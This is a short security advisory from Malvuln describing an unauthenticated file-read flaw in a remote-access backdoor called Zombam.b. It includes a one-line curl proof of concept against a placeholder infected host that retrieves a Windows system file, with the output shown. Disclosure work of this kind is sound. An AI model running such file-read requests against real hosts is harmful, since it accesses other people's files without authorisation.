Backdoor.Win32.Zombam.b Information Disclosure

Backdoor.Win32.Zombam.b malware suffers from an information leakage vulnerability.


MD5 | b8363d7cb4232699c7eabad94de8d1bd

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/1e3665a67201209609ae493a2a590bee_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.b
Vulnerability: Unauthenticated Information Disclosure
Description: z0mbie's HTTP RAT v0.1a listens on TCP port 80 to display an HTML Web UI for basic remote administration capability. Third-party attackers who can reach the backdoor can read dir/files on the system.
Type: PE32
MD5: 1e3665a67201209609ae493a2a590bee
Vuln ID: MVID-2022-0488
Disclosure: 02/16/2022

Exploit/PoC:
curl http://MALWARE_INFECTED_HOST/C:/Windows/system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]


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